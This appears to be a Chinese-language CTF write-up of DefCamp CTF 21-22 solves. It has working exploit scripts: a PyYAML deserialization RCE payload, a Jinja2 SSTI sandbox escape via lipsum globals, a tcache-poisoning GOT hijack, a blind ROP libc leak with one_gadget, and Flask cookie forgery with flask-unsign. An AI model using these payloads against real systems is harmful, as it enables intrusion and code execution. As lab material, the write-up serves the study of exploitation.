DefCamp CTF 21-22 Online Writeups
The end of my winter vacation :(
Intro
這次自己參加了DefCamp CTF,這場我總共解了1題web, 2題pwn, 2題misc,以下紀錄我比賽時的解法與學到的東西
raw-proto (misc)
Overview
亂試了一下,可以從error message發現,這題會把你的輸入用PYYaml的yaml.load
去deserialize
而這題的目標就是利用PYYaml來get shell
Solution
payload很多,我這裡是使用tuple(map(eval, ["CODE"])
的方式來eval
雖然能eval,但題目還是簡單做了一下sandbox,如果想要直接__import__('os')
會error,還有例如Popen這種關鍵字也會error
我猜intended solution應該是把os用絕對路徑去import,但我懶得去繞他的sandbox了
所以我試著用_xxsubinterpreters
來get shell,因為這東西不好擋,甚至可以拿來繞audithook,而這個題目感覺就擋不掉
試了一下發現如我所料,順利get shell了
yaml的payload:
!!python/object/new:tuple [!!python/object/new:map [!!python/name:eval , [ '[xs:=__import__("_xxsubinterpreters"),sub:=xs.create(),xs.run_string(sub,"__import__(\"os\").system(\"cat f*\")"),xs.destroy(sub)]' ]]]
solve.py:
from pwn import *
HOST = '34.159.3.158'
PORT = 32062
# context.log_level = 'debug'
def main():
r = remote(HOST, PORT)
with open("exploit.yaml", "rb") as f:
payload = f.read()
info("payload:")
info(payload.decode())
r.sendline(payload)
r.recvuntil(b"CTF")
success(f"flag: CTF{r.recvuntil(b'}').decode()}")
if __name__ == '__main__':
main()
flag: CTF{b4b7ad802bf06191e9d68127e718d375933ed30d26c72d71b26b5f437ca726d8}
wafer (misc)
這題跟raw-proto一樣是pyjail類型的題目,但這次使用jinja2.Template
來render使用者的輸入
可以從error message看到他的執行方式:
Traceback (most recent call last):
File "/home/ctf/server.py", line 8, in <module>
print(Template("+inputval+").render())
稍微試了一下,還可以發現_
會被過濾,但很好繞,用\x5f
就繞掉了
Solution
一開始我嘗試使用().__class__.__base__.__subclasses__()
來拿__builtins__
,但發現沒有一個class能讓我拿到__builtins__
在local用debugger追進Template.render
裡面可以發現,在compile template的時候,其實自帶了幾個global variables: range, dict, lipsum, cycler, joiner, namespace
在經過簡單的測試可以發現他們都能連結到__globals__
!
payload如下:
lipsum['__globals__']['__builtins__']['__import__']('os').system('ls')
cycler['__init__']['__globals__']['__builtins__']['__import__']('os').system('ls')
joiner['__init__']['__globals__']['__builtins__']['__import__']('os').system('ls')
namespace['__init__']['__globals__']['__builtins__']['__import__']('os').system('ls')
最後我使用了lipsum,並把_
換成\x5f
,成功拿到shell
solve.py:
from pwn import *
ADDRESS = "34.159.3.158"
PORT = 32077
def main():
r = remote(ADDRESS, PORT)
cmd = b"cat f*"
payload = b"lipsum['__globals__']['__builtins__']['__import__']('os').system('%s')".replace(b"_", b"\\x5f")
payload = payload % cmd
info("payload:")
info(payload.decode())
r.sendline(payload)
success(r.recvall().decode().replace("\r", ""))
if __name__ == '__main__':
main()
flag: CTF{3497acdc5cdb795851f334a6c8f401a1e2504b4d05283b6b599e7b6dc42cc200}
cache (pwn)
Overview
這題沒開PIE, Patrial Relo, 也沒canary,幾乎沒有保護
vuln的Pseudocode:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+4h] [rbp-1Ch] BYREF
void *buf; // [rsp+8h] [rbp-18h]
void *ptr; // [rsp+10h] [rbp-10h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
buf = 0LL;
ptr = 0LL;
init(argc, argv, envp);
while ( 1 )
{
puts("MENU");
puts("1: Make new admin");
puts("2: Make new user");
puts("3: Print admin info");
puts("4: Edit Student Name");
puts("5: Print Student Name");
puts("6: Delete admin");
puts("7: Delete user");
printf("\nChoice: ");
fflush(stdout);
__isoc99_scanf("%d%*c", &v3);
switch ( v3 )
{
case 1:
ptr = malloc(0x10uLL);
*((_QWORD *)ptr + 1) = admin_info;
*(_QWORD *)ptr = getFlag;
break;
case 2:
buf = malloc(0x10uLL);
printf("What is your name: ");
fflush(stdout);
read(0, buf, 0x10uLL);
break;
case 3:
(*((void (**)(void))ptr + 1))();
break;
case 4:
printf("What is your name: ");
fflush(stdout);
read(0, buf, 0x10uLL);
break;
case 5:
if ( buf )
printf("Students name is %s\n", (const char *)buf);
else
puts("New student has not been created yet");
break;
case 6:
free(ptr);
break;
case 7:
free(buf);
break;
default:
puts("bad input");
break;
}
}
}
可以看到case 6, 7有很明顯的uaf,且case 3可以呼叫chunk裡的function ptr
此外,ELF裡面還有一個叫showFlag
的function可以cat flag.txt
,所以一開始我就興高采烈的用uaf把showFlag
的ptr寫進free chunk,再malloc新的admin來呼叫showFlag
但沒想到被Rick Roll了,flag.txt
裡面放的是youtube網址…
Solution
真正的解答是要利用tcache來任意位置讀寫
步驟如下:
-
利用
case 2
的功能malloc
一個chunk放進buf
裡,再free(buf)
-
利用
case 5
的功能把free
的GOT表位置寫進剛剛free
掉的chunk的fd
-
利用
case 2
的功能再次malloc
,由於剛剛的free chunk的fd被改寫成指向free GOT,所以下一次malloc
時獲得的chunk位置將是free GOT - 0x10 -
利用
case 2
的功能再次malloc
,這次的chunk位置轉移到free GOT - 0x10,此時buf指向的位置即為free GOT -
利用
case 5
的功能leak free的function ptr來leak libc,要注意的是: 使用case 2
的功能時至少會改寫1 byte的資料,故現在buf中儲存的free的function ptr的最後1 byte是錯的,所以在減掉free的offset的時候要修正 -
現在libc的base有了,one_gadget的位置我們也就獲得了,這時再利用
case 5
的功能把free的function ptr改掉來達成GOT hijack -
呼叫
free
,get shell
solve.py:
#!/usr/bin/env python3
from pwn import *
from typing import Union
from types import MethodType
import sys
exe = ELF("./vuln_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.27.so")
context.binary = exe
context.terminal = ["tmux", "splitw", "-h"]
def conn():
if "d" in sys.argv[1:]:
context.log_level = "debug"
if len(sys.argv) > 1 and "l" == sys.argv[1]:
r = process([exe.path])
elif len(sys.argv) > 1 and "g" in sys.argv[1]:
r = gdb.debug([exe.path], '''
b *main+275
b *main+484
b *main+428
b *main+509
b *main+534
''')
else:
r = remote("35.246.134.224", 30532)
return r
def add_admin(self: Union[process, connect]):
self.sendlineafter(b"Choice: ", b"1")
def add_username(self: Union[process, connect], user_data):
self.sendlineafter(b"Choice: ", b"2")
self.sendafter(b"What is your name: ", user_data)
def display_admin(self: Union[process, connect]):
self.sendlineafter(b"Choice: ", b"3")
def edit_username(self: Union[process, connect], user_data):
self.sendlineafter(b"Choice: ", b"4")
self.sendafter(b"What is your name: ", user_data)
def display_user(self: Union[process, connect]):
self.sendlineafter(b"Choice: ", b"5")
self.recvuntil(b'Students name is ')
return self.recvuntil(b"\nMENU", drop=True)
def delete_admin(self: Union[process, connect]):
self.sendlineafter(b"Choice: ", b"6")
def delete_user(self: Union[process, connect]):
self.sendlineafter(b"Choice: ", b"7")
def main():
r = conn()
r.add_admin = MethodType(add_admin, r)
r.add_user = MethodType(add_username, r)
r.display_admin = MethodType(display_admin, r)
r.edit_username = MethodType(edit_username, r)
r.display_user = MethodType(display_user, r)
r.delete_admin = MethodType(delete_admin, r)
r.delete_user = MethodType(delete_user, r)
r.add_admin()
r.add_user(b'A')
r.delete_user()
r.edit_username(p64(exe.got['free']))
r.add_user(b'A')
r.add_user(b'A')
libc.address = int.from_bytes(r.display_user(), byteorder='little') - ((libc.symbols['free'] & ~0xff) + 0x41)
success(f'libc base: 0x{libc.address:x}')
one_gadget = libc.address + 0x10a38c # one_gadget libc.so.6
success(f'one_gadget: 0x{one_gadget:x}')
r.edit_username(p64(one_gadget))
r.delete_admin()
r.interactive()
if __name__ == "__main__":
main()
flag:
$ ls
flag.txt ld-2.27.so libc.so.6 real_flag.txt vuln vuln.c
$ cat r*
CTF{ab7bdaa3e5ed17ed326fef624a2d95d6ea62caa3dba6d1e5493936c362eed40e}
blindsight (pwn)
Overview
這題算半個blind pwn,只給了libc,剩下啥也沒給
nc上去,可以看到一句話: Are you blind my friend?
經過簡單的測試可以發現,輸入1~88個A時,remote會顯示: No password for you!
,但輸入89個A時,No password for you!
就消失了!
可以推測他buf的相對位置是在rbp-0x50,且有BOF,所以rip被蓋成怪怪的值就會error
Solution
由於確定了buf的相對位置,我嘗試partial overwrite來測看看有沒有什麼有趣的結果:
def fuzz(known=b''):
for j in range(0x100):
r = conn()
info(f'try: {j:02x}')
payload = b'A' * 0x58 + known + bytes([j])
r.sendafter(b'Are you blind my friend?\n', payload)
try:
msg = r.recvall(timeout=0.4)
if len(msg) == 0:
raise EOFError
info("wow:")
print(msg)
except EOFError:
pass
finally:
r.close()
fuzz()
的時候,可以發現在try 0x13和0x1f的時候噴了一堆怪怪的東西
[+] Receiving all data: Done (63B)
[DEBUG] Received 0x3f bytes:
00000000 41 41 41 41 41 41 41 41 3e 00 00 00 00 00 00 00 │AAAA│AAAA│>···│····│
00000010 20 f6 4e 45 d3 7f 00 00 d0 1c cc 11 fd 7f 00 00 │ ·NE│····│····│····│
00000020 10 1e cc 11 fd 7f 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000030 00 00 00 00 00 00 00 00 48 97 19 45 d3 7f 0a │····│····│H··E│···│
(裡面7f開頭的東西看起來就很可疑)
繼續try,當try到0xbb的時候,有趣的事情又發生了,可以發現Are you blind my friend?
重新出現了!
(大概是main的開頭)
0x00到0xff全部try完之後,我們大致可以確認,如果這題要有解的話,PIE一定沒開,因為剛剛試出來的功能都沒辦法只靠patrial overwrite get shell,一定要知道完整的address才行
依據上述推理,我們接續在0x13和0xbb後面接著爆破(0x1e可以不用管,因為和0x13一樣),最後可以爆破出完整的address,分別是: 0x400713和0x4007bb
這時我們可以用以下payload測試一下:
b'A' * 0x58 + p64(0x400713) + p64(0x4007bb)
可以發現在leak一堆怪東西之後順利的重新執行了一次main!
不僅如此,在爆破的過程我們還可以發現,在呼叫0x400713時,index 10~15的值根據little endian轉成hex始終是: 0x7f???????620
根據過往的經驗可以知道這個大概是一個在libc裡的位置,於是我們看一下題目給的libc有誰是620結尾:
(雖然這樣講有點事後諸葛,但肯定有人是620結尾,畢竟CTF都是精心設計過的麻XD,能沒有嗎?)
$ readelf -s libc-2.23.so | grep 620
620: 00000000000fcc70 407 FUNC GLOBAL DEFAULT 13 vtimes@@GLIBC_2.2.5
717: 0000000000129620 277 FUNC GLOBAL DEFAULT 13 __nss_configure_lookup@@GLIBC_2.2.5
803: 00000000003c5620 224 OBJECT GLOBAL DEFAULT 33 _IO_2_1_stdout_@@GLIBC_2.2.5
1196: 0000000000036200 151 FUNC GLOBAL DEFAULT 13 sigisemptyset@@GLIBC_2.2.5
1262: 000000000008b620 383 FUNC GLOBAL DEFAULT 13 __strerror_r@@GLIBC_2.2.5
1568: 0000000000106200 36 FUNC GLOBAL DEFAULT 13 lgetxattr@@GLIBC_2.3
1620: 000000000011b340 192 FUNC GLOBAL DEFAULT 13 setnetent@@GLIBC_2.2.5
1701: 000000000008b620 383 FUNC WEAK DEFAULT 13 strerror_r@@GLIBC_2.2.5
2132: 0000000000071620 163 FUNC GLOBAL DEFAULT 13 wscanf@@GLIBC_2.2.5
根據過往的經驗,stack上很常會殘留_IO_2_1_stdout_
的address,所以大概就是他了(或是工人智慧一下,畢竟620結尾的也就5個)
接著我們可以根據offset來算出libc base,也就能知道one_gadget的address了
故我們get shell的步驟如下:
-
Send payload: padding + leaker + main
-
Leak libc, one_gadget
-
Send payload again: padding + one_gadget
solve.py:
#!/usr/bin/env python3
from pwn import *
import sys
libc = ELF("./libc-2.23.so")
context.terminal = ["tmux", "splitw", "-h"]
def conn():
if "d" in sys.argv[1:]:
context.log_level = "debug"
return remote("34.159.129.6", 30550)
def fuzz(known=b''):
for j in range(0x100):
r = conn()
info(f'try: {j:02x}')
payload = b'A' * 0x58 + known + bytes([j])
r.sendafter(b'Are you blind my friend?\n', payload)
try:
msg = r.recvall(timeout=0.4)
if len(msg) == 0:
raise EOFError
info("wow:")
print(msg)
except EOFError:
pass
finally:
r.close()
def main():
r = conn()
# fuzz()
# input buf: rbp - 0x50
# fuzz(b'\x13\x07\x40')
leaker_addr = 0x400713
# fuzz(b'\xbb\x07\x40')
main_addr = 0x4007bb
payload = b'A' * 0x58
payload += p64(leaker_addr)
payload += p64(main_addr)
r.sendlineafter(b'Are you blind my friend?\n', payload)
dumped = r.recvline()
_IO_2_1_stdout_addr = int.from_bytes(dumped[0x10:0x16], byteorder='little')
info(f'_IO_2_1_stdout addr: 0x{_IO_2_1_stdout_addr:x}')
libc.address = _IO_2_1_stdout_addr - libc.symbols['_IO_2_1_stdout_']
success(f'libc base: 0x{libc.address:x}')
one_gadget_addr = 0xf1247 + libc.address
success(f'one gadget addr: 0x{one_gadget_addr:x}')
payload = b'A' * 0x58
payload += p64(one_gadget_addr)
r.sendlineafter(b'Are you blind my friend?\n', payload)
r.interactive()
if __name__ == "__main__":
main()
flag:
$ ls
blind blind.c flag.txt
$ cat f*
CTF{313f12378d33889716128e329457030182023d103ab648b072fa1e839713dab5}
web-intro (web)
Overview
連上去發現是一個403的頁面,cookie的名稱是session,Response的Server Header是: Werkzeug/2.0.3 Python/3.6.9
大概是Flask的Server
Solution
這題很水,用flask-unsign
就能解掉了,而且session的secret key很弱,用flask-unsign
預設的字典就能搞定了:
$ flask-unsign --unsign --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.YgYttg.gqih-5KHXnLKa-YAH413Rr3_l2c'
[*] Session decodes to: {'logged_in': False}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[*] Attempted (2048): -----BEGIN PRIVATE KEY-----;r
[+] Found secret key after 15616 attempts4482/XCSUuiz
'password'
$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'password'
eyJsb2dnZWRfaW4iOnRydWV9.YgYuzg.WozT_TlQXfms5f-wFIlTIaU1LTI
flag: CTF{66bf8ba5c3ee2bd230f5cc2de57c1f09f471de8833eae3ff7566da21eb141eb7}
para-code (web)
Overview
這題過濾了很多command,而且規定要在4個字以內把在同目錄底下的flag.php
的flag print出來
hitcon之前也有類似的題目,但不同的是這次目錄沒有寫入的權限,無法用>a
的方法創造檔案
Solution
這題我在比賽時沒解出來,但最後的方法有點特別,單純紀錄一下,以防忘記:
最後的答案是: m4 *
沒想到還有m4
這個神奇的指令能把flag印出來…
Summary
這次blind pwn的部分很好玩,heap的那題也還不錯,pwn的部分收獲挺多的
但很慘的是這次web只解了一題水到不行的題目,希望下次web能解多一點…